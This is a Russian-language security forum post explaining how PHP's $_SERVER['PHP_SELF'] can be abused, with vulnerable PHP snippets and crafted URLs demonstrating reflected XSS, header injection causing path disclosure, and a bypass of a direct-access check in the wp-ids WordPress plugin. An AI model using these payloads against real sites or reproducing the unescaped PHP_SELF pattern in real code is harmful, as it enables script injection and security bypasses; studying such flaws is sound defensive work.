Показать сообщение отдельно

  #13  
Старый 22.02.2008, 23:12
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
С нами: 11217866

Репутация: 3812


По умолчанию

Есть ещё несколько забавных вещичек связанных с переменной $_SERVER['PHP_SELF']

например кодес
PHP код:
echo "<form action='".$_SERVER['PHP_SELF']."'>"
при обращении к скрипту как
Код:
http://localhost/script.php/">lalala
вы увидем выход за пределы тега etc, т.е. потенциальная xss)
При этом возможно передавать переменные через GET, например
PHP код:
echo "<a href='".$_SERVER['PHP_SELF']."?lalala'>link</a>";
if(
$_GET['hek']=='4') echo 'тынц-тынц'
Код:
http://localhost/script.php/"><script>alert(/XSS/)</script>?hek=4
на выходе мы получим наш алерт и надпись "тынц-тынц" =)

Далее если $_SERVER['PHP_SELF'] используется при перенаправлении путём посылки хэдера, то можно вызвать раскрытие пути
PHP код:
    header("Location: {$_SERVER['PHP_SELF']}"); 
Код:
http://localhost/script.php/%0ALocation:%20http://www.google.com
Цитата:
Warning: Header may not contain more than a single header, new line detected. in X:\home\localhost\www\script.php on line 4
Так же можно обойти некоторые ограничение безопасности, например в wp-ids

файл wpids-css.php
PHP код:
<?php
if(eregi("^wpids\-css\.php"basename($_SERVER['PHP_SELF']))) {
    die(
'You cannot call this file directly.');
}
?>
        <style type="text/css">
         #wpids_wrapper {
            padding:20px;
            background-color:#fbfbfb;
         }
...
обходится элементарно
Код:
http://localhost/wp-ids/wpids-css.php/lalala
PHP код:
basename($_SERVER)='lalala' 
PS ничё особенного в файле нет, но всё-таки) но если брать конкретно wp-ids, то главным образом обламывает .htaccess +)

линк
__________________

Последний раз редактировалось +toxa+; 06.04.2009 в 16:15..
 
Ответить с цитированием